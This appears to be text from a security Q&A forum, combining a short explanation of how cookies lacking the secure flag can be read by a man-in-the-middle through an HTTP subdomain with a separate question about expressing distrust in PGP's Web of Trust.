Generally, reading cookies by other sites or by a man-in-the-middle attacker is not possible, if the site is configured correctly.
Cookies are not strictly bound to the same-origin policy. Depending on their settings, they may be shared with subdomains and superdomains. If cookies settings are not marked as secure, cookies set over HTTPS are also sent over HTTP. So, if your cookie is on https://test.example.com, a man-in-the-middle attacker could create http://fake.test.example.com and read the cookie.


Are there negative influences in the Web of Trust? If not, are there theoretical alternatives? Suppose I encounter a trusted PGP key that isn't really who they say they are. I don't want to sign their key and promote that entity.

Can I somehow show my dissidence from the trust that everyone else is giving? I didn't see anything obvious on the Wikipedia page.

If the answer is "no", is there any research that illustrates how this could be accomplished?

No, it's up to you if you want to trust (or not) person with a lot of signs. It's just a determinant of fairness.